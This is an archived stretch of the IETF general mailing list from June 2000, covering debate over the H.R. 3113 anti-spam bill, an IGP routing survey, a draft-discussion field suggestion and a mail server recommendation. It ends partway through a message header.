	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 15:50:01 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12931
	for <ietf@ietf.org>; Thu, 15 Jun 2000 15:44:44 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id OAA25605
	for <ietf@ietf.org>; Thu, 15 Jun 2000 14:42:24 -0500 (CDT)
Message-Id: <200006151942.OAA25605@rgfsparc.cr.usgs.gov>
Date: Thu, 15 Jun 2000 14:42:24 -0500 (CDT)
From: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Reply-To: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Subject: Re: Mailing lists
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: ZJO57Nbt2/wCu2KvqjbIJw==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc 
X-Loop: ietf@ietf.org

>On a related note, I noticed that IETF draft announcements do *NOT* list
>a vector pointing to where discussion of the draft should be directed.
>Although the author's address is available down in the draft, should there
>be a 'Discussion regarding this draft should go to mailto:list@wherever'
>field?

Some drafts specifically state where to go for discussion, some don't. It 
might be nice to add this field; if nothing else it would give interested 
parties a more direct route for finding that information.

Cheers,

RGF

Robert G. Ferrell, CISSP
Information Systems Security Officer
National Business Center, US DoI
Robert_G_Ferrell@nbc.gov
------------------------------------------------------------
Not an official statement by any entity of the US Government
------------------------------------------------------------



From owner-ietf-outbound  Thu Jun 15 16:40:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA14139
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 16:40:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA14095
	for <ietf@ietf.org>; Thu, 15 Jun 2000 16:37:55 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id QAA24858;
        Thu, 15 Jun 2000 16:37:56 -0400 (EDT)
Message-Id: <200006152037.QAA24858@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Lillian Komlossy <Lillian@dmnews.com>
cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-reply-to: Your message of "Thu, 15 Jun 2000 12:57:04 EDT."
             <983B9A17F5EBD311905600D0B73EA0DE03DA52@APOLLO> 
Date: Thu, 15 Jun 2000 16:37:55 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

yeah, the bill contains language like

"Unsolicited commercial electronic mail can be an important mechanism
through which businesses advertise and attract customers in the online
environment."

this bill isn't designed to limit spam; it's designed to make it legal.

criminals.

Keith



From owner-ietf-outbound  Thu Jun 15 17:40:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA15140
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 17:40:02 -0400 (EDT)
Received: from shell.servuhome.net (IDENT:root@dsl-208-161-103-32.easystreet.com [208.161.103.32])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA15114
	for <ietf@ietf.org>; Thu, 15 Jun 2000 17:39:45 -0400 (EDT)
Received: from weberfamily (pm22-s8-tier1.evansville.net [204.120.29.201])
	by shell.servuhome.net (8.10.1/8.8.7) with SMTP id e5FLd6S23874
	for <ietf@ietf.org>; Thu, 15 Jun 2000 14:39:10 -0700
Message-ID: <01c901bfd712$3b1b6ee0$c91d78cc@weberfamily>
From: "Kurt Weber" <kurt@servuhome.net>
To: <ietf@ietf.org>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
Date: Thu, 15 Jun 2000 16:39:28 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

 Well, spam is already legal.

 Personally, I have nothing against the legitimacy of spam.  I don't like
it,
 but I do believe that it should be legal.  If they want to outlaw
 telemarketing and junk mail, then they can outlaw spam.  Besides, because
of
 the nature of the Internet, if you outlaw spam, then the same person could
 send it from a locale where spamming IS legal.  It's impossible to
eradicate
 spam through legislation.

 Regards,
 Kurt Weber
 kurt@rowsw.com
 ROW Software and Web Design
 http://www.rowsw.com

> ----- Original Message -----
> From: "Keith Moore" <moore@cs.utk.edu>
> To: "Lillian Komlossy" <Lillian@dmnews.com>
> Cc: <ietf@ietf.org>
> Sent: Thursday, June 15, 2000 3:37 PM
> Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail
>
>
> > yeah, the bill contains language like
> >
> > "Unsolicited commercial electronic mail can be an important mechanism
> > through which businesses advertise and attract customers in the online
> > environment."
> >
> > this bill isn't designed to limit spam; it's designed to make it legal.
> >
> > criminals.
> >
> > Keith
> >
>



From owner-ietf-outbound  Thu Jun 15 18:10:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA15703
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 18:10:02 -0400 (EDT)
Received: from tcb.net (tcb.net [205.168.100.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA15632
	for <ietf@ietf.org>; Thu, 15 Jun 2000 18:08:14 -0400 (EDT)
Received: from sofos.tcb.net (sofos.tcb.net [127.0.0.1])
	by tcb.net (8.9.3/8.9.3) with ESMTP id QAA20490
	for <ietf@ietf.org>; Thu, 15 Jun 2000 16:09:26 -0600
Message-Id: <200006152209.QAA20490@tcb.net>
X-Mailer: exmh version 2.0.3
To: ietf@ietf.org
From: Danny McPherson <danny@tcb.net>
Reply-To: danny@tcb.net
Subject: IGP Survey
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 15 Jun 2000 16:09:26 -0600
Sender: danny@sofos.tcb.net
X-Loop: ietf@ietf.org



Could anyone that's ever "deployed" an IGP take just a second to
answer the following questions?  Please reply in private, I'll send
a summary to the list.

Thanks in advance!

-danny

[snip]

Included below are several questions regarding IGP use.  If you don't
have the time to complete the entire questionaire, answering the first 
three questions would still be of great benefit.  Not answering
specific question(s) is also fine (as you may have guessed).  The 
information collected will be made generally available once complete.

1.  Company Name (please provide so that multiple response for 
    a single network are appropriately accounted for):

2.  Do you wish to keep the company name confidential?

3.  What IGP did you select:

    1) OSPF
    2) IS-IS
    3) RIP
    4) RIPv2
    5) IGRP
    6) EIGRP
    7) Static
    8) Other (please list)

3. Why did you select this IGP (list all that apply, in order 
   of precedence)?

    1) Scalability
    2) Stability
    3) Robustness
    4) Vendor Support
    5) Familiarity
    6) Existing Deployment Base
    7) Historical Reasons
    8) Feature Set (i.e. Traffic Engineering)
    9) Other (please list)
  
4. If you run a LS protocol, do you run the network (complete AS, 
   or backbone) as a single area, or do you use multiple areas?  

5. In case of OSPF, do you use stub, non-stub or NSSA?

6. In case of IS-IS, one level or multiple levels?

7. What do you believe is the primary advantage of this IGP?

8. What do you believe is the primary disadvantage of this IGP?

9. What notable features of the protocol do you use (i.e. OSPF NSSA)?

10. If applicable, what routes do you carry in your IGP in relation 
    to BGP (i.e.  customer and internal, internal only, etc..)?

11. How may prefixes do you carry in your IGP?

12. Do you use (or plan to use) your IGP for MPLS traffic engineering?  

12a. If not, any particular reason why?

13. Do you use one IGP or multiple IGPs?  

13a. As a result of:

    1) Having two historical networks, and "redistribute" between them?
    2) or maybe every BGP confederation sub-AS runs their own IGP?
    3) one IGP (linkstate ?) in the middle, and another (RIP?) at the edges?
    4) maybe overlap IGPs
    5) maybe one IGP per continent (US vs Europe vs Asia)
    6) Other (please list)

14. Do you tweak the protocol's configuration (like changing default timers)?

14a. What values do you feel need the most attention?

15. If you could change/enhance anything with this IGP what would it be?

16. How may routers were in the routing domain? 

16. Do you have any additional comments you'd like to share?




From owner-ietf-outbound  Thu Jun 15 19:10:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA17394
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 19:10:02 -0400 (EDT)
Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA17267
	for <ietf@ietf.org>; Thu, 15 Jun 2000 19:05:06 -0400 (EDT)
Received: from dell-desktop.GigaLaw.com (user-1054h7d.biz.mindspring.com [64.82.68.237])
	by smtp10.atl.mindspring.net (8.9.3/8.8.5) with ESMTP id TAA29508
	for <ietf@ietf.org>; Thu, 15 Jun 2000 19:05:06 -0400 (EDT)
Message-Id: <4.3.1.0.20000615185233.02f6b830@209.81.50.25>
X-Sender: isenberg@209.81.50.25
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Thu, 15 Jun 2000 19:03:50 -0400
To: "'ietf@ietf.org'" <ietf@ietf.org>
From: Doug Isenberg <disenberg@GigaLaw.com>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-Reply-To: <200006152037.QAA24858@astro.cs.utk.edu>
References: <Your message of "Thu, 15 Jun 2000 12:57:04 EDT." <983B9A17F5EBD311905600D0B73EA0DE03DA52@APOLLO>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 04:37 PM 6/15/00, Keith Moore wrote:
>yeah, the bill contains language like
>
>"Unsolicited commercial electronic mail can be an important mechanism
>through which businesses advertise and attract customers in the online
>environment."
>
>this bill isn't designed to limit spam; it's designed to make it legal.

         In the interest of providing both sides of the story, it should be 
noted that the bill also contains language like:

         "The receipt of unsolicited commercial electronic mail may result 
in costs to recipients who cannot refuse to accept such mail and who incur 
costs for the storage of such mail, or for the time spent accessing, 
reviewing, and discarding such mail, or for both."

and

         "Unsolicited commercial electronic mail may impose significant 
monetary costs on interactive computer services, businesses, and 
educational and nonprofit institutions that carry and receive such mail, as 
there is a finite volume of mail that such providers, businesses, and 
institutions can handle without further investment. The sending of such 
mail is increasingly and negatively affecting the quality of service 
provided to customers of interactive computer service, and shifting costs 
from the sender of the advertisement to the interactive computer service."

         I've yet to read the whole bill (H.R. 3113), but I suspect (or, at 
least, hope) that the politicians behind this legislation are intending to 
draft a federal law that, unlike at least two state attempts, will survive 
a constitutional challenge.

=======================
Douglas M. Isenberg
Attorney @ Law
Editor & Publisher, GigaLaw.com
=======================
GigaLaw.com: "Legal Information for
Internet and Technology Professionals"
http://www.GigaLaw.com
=======================



From owner-ietf-outbound  Thu Jun 15 20:00:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA18127
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 20:00:02 -0400 (EDT)
Received: from mgate-01.teledesic.com (mgate-01.teledesic.com [216.190.22.41])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18075
	for <ietf@ietf.org>; Thu, 15 Jun 2000 19:53:57 -0400 (EDT)
Received: by mgate-01.teledesic.com with Internet Mail Service (5.5.2650.21)
	id <LG7JQ6LZ>; Thu, 15 Jun 2000 16:48:35 -0700
Message-ID: <25D0C66E6D25D311B2AC0008C7913EE0B27311@tdmail2.teledesic.com>
From: Dan Kohn <dan@dankohn.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
Date: Thu, 15 Jun 2000 16:39:55 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Furthermore, CAUCE, which is a widely respected anti-spam organization,
"vigorously supports" HR 3113 according to
<http://www.cauce.org/pressreleases/pr-hr3113-1.shtml>.

Although I might prefer for spam to just be outlawed, I am certainly willing
to go to an FCC website to remove my email addresses, and I do not consider
the 30 day waiting period that onerous.

But why not make up your own mind.  The bill is at
<http://thomas.loc.gov/cgi-bin/query/z?c106:H.R.3113:>.

		- dan
--
Daniel Kohn <mailto:dan@dankohn.com>
tel:+1-425-602-6222
http://www.dankohn.com

-----Original Message-----
From: Doug Isenberg [mailto:disenberg@GigaLaw.com]
Sent: Thursday, 2000-06-15 16:04
To: 'ietf@ietf.org'
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 


At 04:37 PM 6/15/00, Keith Moore wrote:
>yeah, the bill contains language like
>
>"Unsolicited commercial electronic mail can be an important mechanism
>through which businesses advertise and attract customers in the online
>environment."
>
>this bill isn't designed to limit spam; it's designed to make it legal.

         In the interest of providing both sides of the story, it should be 
noted that the bill also contains language like:

         "The receipt of unsolicited commercial electronic mail may result 
in costs to recipients who cannot refuse to accept such mail and who incur 
costs for the storage of such mail, or for the time spent accessing, 
reviewing, and discarding such mail, or for both."

and

         "Unsolicited commercial electronic mail may impose significant 
monetary costs on interactive computer services, businesses, and 
educational and nonprofit institutions that carry and receive such mail, as 
there is a finite volume of mail that such providers, businesses, and 
institutions can handle without further investment. The sending of such 
mail is increasingly and negatively affecting the quality of service 
provided to customers of interactive computer service, and shifting costs 
from the sender of the advertisement to the interactive computer service."

         I've yet to read the whole bill (H.R. 3113), but I suspect (or, at 
least, hope) that the politicians behind this legislation are intending to 
draft a federal law that, unlike at least two state attempts, will survive 
a constitutional challenge.

=======================
Douglas M. Isenberg
Attorney @ Law
Editor & Publisher, GigaLaw.com
=======================
GigaLaw.com: "Legal Information for
Internet and Technology Professionals"
http://www.GigaLaw.com
=======================



From owner-ietf-outbound  Thu Jun 15 21:40:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA19486
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 21:40:03 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA19440
	for <ietf@ietf.org>; Thu, 15 Jun 2000 21:35:24 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id VAA03516;
        Thu, 15 Jun 2000 21:35:24 -0400 (EDT)
Message-Id: <200006160135.VAA03516@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Doug Isenberg <disenberg@GigaLaw.com>
cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-reply-to: Your message of "Thu, 15 Jun 2000 19:03:50 EDT."
             <4.3.1.0.20000615185233.02f6b830@209.81.50.25> 
Date: Thu, 15 Jun 2000 21:35:23 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

>         I've yet to read the whole bill (H.R. 3113), but I suspect (or, at 
>least, hope) that the politicians behind this legislation are intending to 
>draft a federal law that, unlike at least two state attempts, will survive 
>a constitutional challenge.

And I hope that the courts will finally realize that freedom of speech 
includes the freedom not to have your communications disrupted by people 
who want to sell you things.

Keith



From owner-ietf-outbound  Thu Jun 15 21:50:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA20500
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 21:50:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA19460
	for <ietf@ietf.org>; Thu, 15 Jun 2000 21:39:12 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id VAA09050;
        Thu, 15 Jun 2000 21:39:11 -0400 (EDT)
Message-Id: <200006160139.VAA09050@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Dan Kohn <dan@dankohn.com>
cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-reply-to: Your message of "Thu, 15 Jun 2000 16:39:55 PDT."
             <25D0C66E6D25D311B2AC0008C7913EE0B27311@tdmail2.teledesic.com> 
Date: Thu, 15 Jun 2000 21:39:10 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> Furthermore, CAUCE, which is a widely respected anti-spam organization,
> "vigorously supports" HR 3113 according to
> <http://www.cauce.org/pressreleases/pr-hr3113-1.shtml>.

my understanding is that CAUCE has been in cahoots with the DMA for quite
a while.  so whatever they respect that might once have had is now dubious.
 
> Although I might prefer for spam to just be outlawed, I am certainly willing
> to go to an FCC website to remove my email addresses, and I do not consider
> the 30 day waiting period that onerous.

I don't believe for a nanosecond that an opt-out list is going to work.
It doesn't work for phone solicitation, it doesn't work for junk snail
mail.  It certainly won't work for a global Internet.

> But why not make up your own mind.  The bill is at
> <http://thomas.loc.gov/cgi-bin/query/z?c106:H.R.3113:>.

Be sure to read the amended version.  It's better than the original.

Keith



From owner-ietf-outbound  Thu Jun 15 22:00:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA20638
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 22:00:02 -0400 (EDT)
Received: from europe.std.com (europe.std.com [199.172.62.20])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20286
	for <ietf@ietf.org>; Thu, 15 Jun 2000 21:45:10 -0400 (EDT)
Received: from world.std.com (brunner@world-f.std.com [199.172.62.5])
	by europe.std.com (8.9.3/8.9.3) with ESMTP id VAA09122;
	Thu, 15 Jun 2000 21:45:10 -0400 (EDT)
Received: from localhost (brunner@localhost)
	by world.std.com (8.9.3/8.9.3) with SMTP id VAA13714;
	Thu, 15 Jun 2000 21:45:10 -0400 (EDT)
Message-Id: <200006160145.VAA13714@world.std.com>
X-Authentication-Warning: world.std.com: brunner@localhost didn't use HELO protocol
To: moore@cs.utk.edu
cc: ietf@ietf.org
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail
Date: Thu, 15 Jun 2000 21:45:10 -0400
From: Eric Brunner <brunner@world.std.com>
X-Loop: ietf@ietf.org

Keith,

Assume that that e-ad and direct e-marketing (email) was $4 billion in 1999.
The estimates I have at hand are that the the rate will be $18 billion in
2002. Roughly between now and 2005 the net's share of ads, regardless of the
delivery form, is going to increase six-fold -- according to my crystal ball.

There is a reason for this -- an unintended consequence of convience. The
primary mode of use (research, browsing and purchasing) leaves intent in
machine readable form, on dump tapes or click trails or ... and gratis our
integrated ordering, billing, and payment cycle the net has become (or has
been for some time already) a user-maintained transactional database. My
dad could get a smile out of this, as he did early retail point-of-payment
bar code systems, which married up not only with back-end inventory systems,
but also to payment systems.

I don't want to point a particular finger at http state-management (aka
"cookies") or any of a number of other techniques for extracting updates
of transactions. Which is "worst" may be interesting, and what and how to
illuminate users (rather than their transactions) is why I started the
cookie-cutters list -- it seems like a user-services thing to do, neh?

What I do want to point out is that there the direct e-mailers (Digital
Impact, MessageMedia, etc.) are not acting in isolation -- media buyers
like Avenue A and Mediaplex, also buy-side companies, sell-side companies,
whether portals, ad networks, or e-mail newsletters, and promotional
companies, all act in some way on transactional data. Which ever side of
the policy balloon gets squeezed, that is a lot of money looking to find
effective mechanisms, and no amount of dull ax work is going to undo the
crucial decision to unfund the public backbone and withdraw the restriction
on commercial use. We could have seen that one comming, neh? 

Several years ago my friend Barry Shein started an effort to limit spam,
before banner ads or professional direct e-marketing, back when dorkage and
poor taste were the gravamen of the offense. As we know the general contours
of the future, we also know that trusting user interfaces, whether mailer
or browser, won't scale with the offered load. This is the IETF's problem
domain, regardless of what happens with HR 3113.

Cheers,
Eric



From owner-ietf-outbound  Thu Jun 15 22:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA20874
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 22:10:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20600
	for <ietf@ietf.org>; Thu, 15 Jun 2000 21:58:54 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id VAA23237;
        Thu, 15 Jun 2000 21:58:54 -0400 (EDT)
Message-Id: <200006160158.VAA23237@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Eric Brunner <brunner@world.std.com>
cc: moore@cs.utk.edu, ietf@ietf.org
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-reply-to: Your message of "Thu, 15 Jun 2000 21:45:10 EDT."
             <200006160145.VAA13714@world.std.com> 
Date: Thu, 15 Jun 2000 21:58:54 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

Eric,

not that I disagree with anything you said, but I don't see the spam
issue as being about commercial use of the Internet - I see it as being
about my ability to communicate with correspondents of my choice
without interference from others...  

the fact that I have to pay for such interference doesn't help.

Keith    



From owner-ietf-outbound  Fri Jun 16 02:20:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA06732
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 02:20:03 -0400 (EDT)
Received: from thunderbolt.aditi.soft.net ([164.164.12.30])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA06706
	for <ietf@ietf.org>; Fri, 16 Jun 2000 02:19:20 -0400 (EDT)
Received: by THUNDERBOLT with Internet Mail Service (5.5.2650.21)
	id <M0P7GR6Z>; Fri, 16 Jun 2000 11:51:45 +0530
Message-ID: <776858455206D411848A009027E8CE802A9368@THUNDERBOLT>
From: Faheem Ahmed Khan <Faheemak@talisma.com>
To: ietf@ietf.org
Subject: Suggest a good email server pls
Date: Fri, 16 Jun 2000 11:51:44 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFD75B.24DB2280"
X-Loop: ietf@ietf.org

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFD75B.24DB2280
Content-Type: text/plain;
	charset="iso-8859-1"

Can anybody suggest a good mail server on Unix pls. We are currently using
SIMS 2.0 from SUN and need one more other than this.
 
Thanx
-Faheem.
 <http://www.talisma.com/> R e l @ t i o n s h i p s  w e r e  n e v e r  s
o  e a s y 

 

 

------_=_NextPart_001_01BFD75B.24DB2280
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT size=2><SPAN class=152121706-16062000>Can anybody suggest a good mail 
server on Unix pls. We are currently using SIMS 2.0 from SUN and need one more 
other than this.</SPAN></FONT></DIV>
<DIV><FONT size=2><SPAN class=152121706-16062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT size=2><SPAN class=152121706-16062000>Thanx</SPAN></FONT></DIV>
<DIV><FONT size=2><SPAN class=152121706-16062000>-Faheem.</SPAN></FONT></DIV>
<DIV><FONT size=2><SPAN class=152121706-16062000></SPAN></FONT><A 
href="http://www.talisma.com/"><FONT color=#000080 size=2><B>R e l @ t i o n s h 
i p s</B></FONT><B><FONT color=#000080 size=2>&nbsp; w e r e&nbsp; n e v e 
r&nbsp; s o&nbsp; e a s y</FONT></B></A> </DIV>
<P>&nbsp;</P>
<DIV>&nbsp;</DIV></BODY></HTML>

------_=_NextPart_001_01BFD75B.24DB2280--



From owner-ietf-outbound  Fri Jun 16 07:40:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA09405
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 07:40:02 -0400 (EDT)
Received: from sumermail.sumerbank.com.tr ([212.175.28.199])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA09271
	for <ietf@ietf.org>; Fri, 16 Jun 2000 07:35:17 -0400 (EDT)
Received: from mailserver.sumerbank.com.tr ([212.175.28.67]) by sumermail.sumerbank.com.tr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id NBCX5ZV6; Fri, 16 Jun 2000 14:37:29 +0300
Received: by mailserver.sumerbank.com.tr with Internet Mail Service (5.5.2448.0)
	id <NA5N23JJ>; Fri, 16 Jun 2000 14:36:29 +0300
Message-ID: <2780B6C7FA25D211AAF700A0C96EAD5AFA7835@mailserver.sumerbank.com.tr>
From: "R.Ilker Gokhan" <IlkerG@SUMERBANK.COM.TR>
To: "'Faheem Ahmed Khan'" <Faheemak@talisma.com>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: Suggest a good email server pls
Date: Fri, 16 Jun 2000 14:36:28 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFD787.1CBC5688"
X-Loop: ietf@ietf.org

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFD787.1CBC5688
Content-Type: text/plain;
	charset="iso-8859-1"

I suggest strongly "qmail". You can process 10,000 mail over 486X machine
with qmail. For more futher info: 
www.qmail.org <http://www.qmail.org> 
 
Ilker G.

-----Original Message-----
From: Faheem Ahmed Khan [mailto:Faheemak@talisma.com]
Sent: Friday, June 16, 2000 9:22 AM
To: ietf@ietf.org
Subject: Suggest a good email server pls


Can anybody suggest a good mail server on Unix pls. We are currently using
SIMS 2.0 from SUN and need one more other than this.
 
Thanx
-Faheem.
 <http://www.talisma.com/> R e l @ t i o n s h i p s  w e r e  n e v e r  s
o  e a s y 

 

 


------_=_NextPart_001_01BFD787.1CBC5688
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=376572911-16062000>I 
suggest strongly "qmail". You can process 10,000 mail over 486X machine with 
qmail. For more futher info: </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=376572911-16062000><A 
href="http://www.qmail.org">www.qmail.org</A></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=376572911-16062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=376572911-16062000>Ilker 
G.</SPAN></FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV class=OutlookMessageHeader><FONT face="Times New Roman" 
  size=2>-----Original Message-----<BR><B>From:</B> Faheem Ahmed Khan 
  [mailto:Faheemak@talisma.com]<BR><B>Sent:</B> Friday, June 16, 2000 9:22 
  AM<BR><B>To:</B> ietf@ietf.org<BR><B>Subject:</B> Suggest a good email server 
  pls<BR><BR></DIV></FONT>
  <DIV><FONT size=2><SPAN class=152121706-16062000>Can anybody suggest a good 
  mail server on Unix pls. We are currently using SIMS 2.0 from SUN and need one 
  more other than this.</SPAN></FONT></DIV>
  <DIV><FONT size=2><SPAN class=152121706-16062000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT size=2><SPAN class=152121706-16062000>Thanx</SPAN></FONT></DIV>
  <DIV><FONT size=2><SPAN class=152121706-16062000>-Faheem.</SPAN></FONT></DIV>
  <DIV><FONT size=2><SPAN class=152121706-16062000></SPAN></FONT><A 
  href="http://www.talisma.com/"><FONT color=#000080 size=2><B>R e l @ t i o n s 
  h i p s</B></FONT><B><FONT color=#000080 size=2>&nbsp; w e r e&nbsp; n e v e 
  r&nbsp; s o&nbsp; e a s y</FONT></B></A> </DIV>
  <P>&nbsp;</P>
  <DIV>&nbsp;</DIV></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01BFD787.1CBC5688--



From owner-ietf-outbound  Fri Jun 16 09:30:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA11334
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 09:30:01 -0400 (EDT)
Received: from apollo.dmnews.com (gw.dmnews.com [204.141.161.6])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11276
	for <ietf@ietf.org>; Fri, 16 Jun 2000 09:21:12 -0400 (EDT)
Received: by APOLLO with Internet Mail Service (5.5.2650.10)
	id <M8X8JPK1>; Fri, 16 Jun 2000 09:28:35 -0400
Message-ID: <983B9A17F5EBD311905600D0B73EA0DE03DA69@APOLLO>
From: Lillian Komlossy <Lillian@dmnews.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
Date: Fri, 16 Jun 2000 09:28:35 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.10)
Content-Type: text/plain;
